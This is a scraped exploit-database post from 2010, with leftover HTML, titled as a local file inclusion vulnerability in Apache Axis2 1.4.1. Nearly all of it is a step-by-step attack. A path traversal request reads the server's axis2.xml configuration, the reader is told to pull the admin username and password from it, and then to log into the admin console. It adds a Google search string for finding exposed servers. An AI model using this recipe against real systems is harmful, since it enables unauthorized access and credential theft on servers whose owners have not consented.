Home / os / win7

Apache Axis2(1.4.1) Local File Inclusion Vulnerability

Posted on 24 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Apache Axis2(1.4.1) Local File Inclusion Vulnerability </title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================
Apache Axis2(1.4.1) Local File Inclusion Vulnerability 
======================================================

 # Exploit Title: Apache Axis2(1.4.1) Local File Inclusion Vulnerability
    # Date: 2010/5/24
    # Author: HC
    # Software Link: http://ws.apache.org/axis2/download/1_4_1/download.cgi
    # Version: Axis2 1.4.1
    # Tested on: Linux
    # category: Webapps
    # Code :

       1.http://Domain Name/axis2/services/xxxxxxx?xsd=../conf/axis2.xml
       (ex: http://Domain Name/axis2/services/Version?xsd=../conf/axis2.xml)

       2. search  keyword &quot;password&quot;. ?]Get username and password?^

          
       3. Login http://Domain Name/axis2/axis2-admin/   


       google: inurl:&quot;axis2/services&quot; &quot;list Services&quot;




# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :